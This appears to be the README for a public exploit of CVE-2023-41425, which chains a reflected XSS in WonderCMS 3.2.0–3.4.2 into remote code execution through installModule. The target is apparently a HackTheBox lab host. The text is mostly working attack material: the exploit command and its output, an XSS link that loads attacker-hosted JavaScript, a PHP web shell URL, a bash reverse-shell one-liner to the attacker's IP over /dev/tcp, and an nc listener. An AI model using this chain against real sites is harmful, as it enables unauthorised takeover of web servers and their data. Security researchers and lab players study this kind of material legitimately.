xpltive/cve-2023-41425WonderCMS v3.2.0 - v3.4.2 XSS to RCE exploit
CVE-2023-41425 is a reflected XSS vulnerability in Wonder CMS which further allows to execute arbitrary code through a malicious script via the installModule component.
Running the exploit against the target's loginURL, specifying our IP and port for the web server hosting the malicious .js file:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server

Send the XSS payload to the victim. Once victim opens the link the .js will be requested by them from the web server started above. The .js will then download the malicious .zip module containing a simple PHP web shell.
Once the .zip has been requested, it should have been installed through installModule and can be accessed via the link provided by the script.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Setup the listener first, then run any command to establish a reverse shell connection. The script provides one example to do so (Linux).
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
And get connection on listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
